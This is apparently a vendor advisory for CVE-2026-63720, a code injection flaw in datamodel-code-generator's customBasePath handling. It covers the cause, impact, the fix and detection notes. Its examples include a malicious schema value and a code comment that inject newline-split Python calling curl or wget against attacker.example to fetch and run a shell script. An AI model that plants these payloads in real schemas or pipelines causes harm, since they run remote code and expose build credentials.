Skip to main content

Free 30-min security demo Book Now

Offensive360 Offensive360
ZeroDays CVE-2026-63720
High CVE-2026-63720 CVSS 7.5 datamodel-code-generator Python

datamodel-code-gen Injection

CVE-2026-63720: datamodel-code-generator before 0.70.0 allows RCE via unsanitized customBasePath values injected into generated Python import statements.

Offensive360 Research Team
Affects: < 0.70.0
Source Code View Patch

Overview

datamodel-code-generator is a widely adopted Python utility that generates Pydantic model classes from JSON Schema, OpenAPI, and other schema formats. It is commonly embedded in CI/CD pipelines, API toolchains, and development scaffolding scripts — environments where generated code is imported and executed without manual review. CVE-2026-63720 is a code injection vulnerability affecting all versions prior to 0.70.0 that can result in arbitrary Python execution at the moment a generated module is imported.

The root cause is straightforward but consequential: the customBasePath field accepted from an input schema is written verbatim into a from ... import ... statement in the generated source file. No identifier validation, allowlist matching, or AST-level sanitization is applied. An attacker who controls the schema — whether through a malicious third-party schema file, a compromised upstream dependency, or a man-in-the-middle position on an unauthenticated schema fetch — can embed newline characters and a dot-free Python expression that, when the generated file is loaded by the Python interpreter, executes under the privileges of the importing process.

Security researchers identified the vulnerability and reported it responsibly. The fix was merged in commit 545a96c5 and released with version 0.70.0. Organizations that use datamodel-code-generator in automated pipelines — especially those that ingest externally-sourced or user-supplied schemas — should treat this as an urgent upgrade.

Technical Analysis

The vulnerable code path processes the customBasePath field from a schema and uses it to construct an import statement in the output file. The generator performs string interpolation without validating that the value constitutes a legal Python dotted-name identifier. A simplified representation of the vulnerable pattern looks like this:

# VULNERABLE — datamodel-code-generator < 0.70.0
def render_custom_import(custom_base_path: str) -> str:
    # custom_base_path is taken directly from the schema input
    # and interpolated into a Python source string without validation
    return f"from {custom_base_path} import BaseModel\n"

# Example output written to the generated .py file:
# from mypackage import BaseModel     <-- benign
# from evil\n__import__('os').system('curl http://attacker.example/shell|sh')  # import BaseModel
#                                     <-- malicious

The attack is enabled by two independent failures working together:

  1. No newline stripping. Python source files are line-oriented. A \n inside a from target terminates the import statement syntactically. Everything that follows on the next line is parsed as a new, independent statement — in this case, arbitrary Python code.

  2. No identifier validation. The generator does not check that customBasePath matches the pattern [A-Za-z_][A-Za-z0-9_.]*. If it did, embedded newlines, parentheses, quotes, and other shell-relevant characters would be rejected before reaching the renderer.

A concrete malicious schema value demonstrating the injection vector:

{
  "x-customBasePath": "legit_package\n__import__('os').system('wget -qO- http://attacker.example/implant.sh|sh')  #"
}

This causes the generator to emit a file whose content, once parsed by CPython, contains an unrestricted os.system call at module scope. When the consuming application does import generated_models, the payload executes synchronously and unconditionally. The “dot-free” qualifier in the CVE description is significant: Python’s restricted execution environments sometimes block expressions containing dots; a crafted payload that avoids dots (using __import__ rather than import os) sidesteps naive input filters.

The CVSS 7.5 score (HIGH) reflects the high confidentiality, integrity, and availability impact, partially offset by the attack complexity of requiring the attacker to control schema input rather than exploiting the application over an unauthenticated network interface directly.

Impact

An attacker who can supply a malicious customBasePath value achieves remote code execution in the context of whatever process imports the generated module. In a CI/CD pipeline, this is typically the build agent — an environment with broad repository access, cloud credentials, package signing keys, and deployment permissions. In a developer workstation scenario, the result is a full local compromise.

Specific consequences include:

  • Credential theft: Cloud provider keys, API tokens, and SSH keys present in the environment are exfiltrable at the moment of import.
  • Supply-chain pivot: A compromised build pipeline can publish backdoored packages to internal or public registries.
  • Persistent access: The injected code can install reverse shells, scheduled tasks, or SSH authorized keys before the normal application flow resumes.
  • Data exfiltration: Any data the importing process can access — database connection strings, secrets from a vault sidecar, in-memory session tokens — is within reach.

The realistic threat actor is not an anonymous remote opportunist but a targeted adversary: someone who can compromise an upstream schema registry, submit a malicious schema to a shared API definition repository, or intercept an unencrypted schema fetch over HTTP.

How to Fix It

Upgrade immediately. The primary remediation is to update to datamodel-code-generator 0.70.0 or later:

# pip
pip install --upgrade "datamodel-code-generator>=0.70.0"

# pipx
pipx upgrade datamodel-code-generator

# uv
uv add "datamodel-code-generator>=0.70.0"

# Poetry
poetry add "datamodel-code-generator>=0.70.0"

The patch in commit 545a96c5 introduces identifier validation before the value is used in code generation. The corrected pattern validates the field against a strict allowlist:

# FIXED — datamodel-code-generator >= 0.70.0
import re

_DOTTED_NAME_RE = re.compile(r'^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$')

def render_custom_import(custom_base_path: str) -> str:
    if not _DOTTED_NAME_RE.fullmatch(custom_base_path):
        raise ValueError(
            f"Invalid customBasePath {custom_base_path!r}: "
            "must be a valid Python dotted identifier"
        )
    return f"from {custom_base_path} import BaseModel\n"

Beyond upgrading, adopt these defensive practices in any pipeline that uses code generators:

  1. Treat generated code as untrusted until reviewed. Run a diff or lint pass on generated files before importing them.
  2. Fetch schemas only over TLS from authenticated sources. Never pipe schema files from unauthenticated HTTP endpoints directly into generation.
  3. Pin schema file hashes in lockfiles when schemas are vendored.
  4. Run generators in a sandboxed environment (e.g., a minimal container with no cloud credentials mounted) to limit blast radius if a generator is compromised.

Our Take

This vulnerability belongs to the code generation injection class — a category that is structurally underappreciated in security programs because the vulnerable code never ships to production directly. The generator runs in dev or CI, and the output is what gets deployed. Developers and security teams reviewing production code do not see the injection site; they see clean-looking generated files that happen to contain malicious statements.

The core error — interpolating untrusted string data into generated source code without validation — is logically equivalent to SQL injection or template injection. The countermeasure is also analogous: treat any external value that will be rendered as code as inherently hostile and validate it against a strict structural grammar before use. String sanitization is not sufficient; structural validation against a formal grammar (in this case, the Python identifier grammar) is required.

For enterprises, this is a reminder that the software supply chain now extends into tooling that processes schema definitions. OpenAPI files, JSON Schema documents, and AsyncAPI specs are increasingly sourced from third parties, auto-fetched from registries, or submitted by end users. Any tool that generates executable code from these inputs is a potential code injection surface and must be audited with the same rigor as a web application input handler.

Detection with SAST

This vulnerability class maps to CWE-94: Improper Control of Generation of Code (‘Code Injection’) and, at the sink level, CWE-116: Improper Encoding or Escaping of Output when the “output” is source code rather than HTML or SQL.

Offensive360’s SAST engine detects this pattern by:

  • Tracking taint from external data sources (file reads, network fetches, CLI arguments, schema field parsers) through string interpolation sinks that produce source code artifacts — specifically, any write to a .py, .ts, or .java file that incorporates untrusted data.
  • Flagging f-string and str.format interpolations where the format string contains Python keywords (from, import, class, def) and the interpolated value originates from an external source without an intervening validation call.
  • Identifying missing allowlist guards: code paths where a value from an external parser is used in code generation without a preceding re.fullmatch or equivalent structural check against a strict identifier pattern.

The rule category in our ruleset is CODE_GENERATION_INJECTION, severity HIGH, applicable to any language that generates code in another language from data-driven templates.

References

#code-injection #RCE #Python #supply-chain

Detect this vulnerability class in your codebase

Offensive360 SAST scans your source code for CVE-2026-63720-class vulnerabilities and thousands of other patterns — across 60+ languages.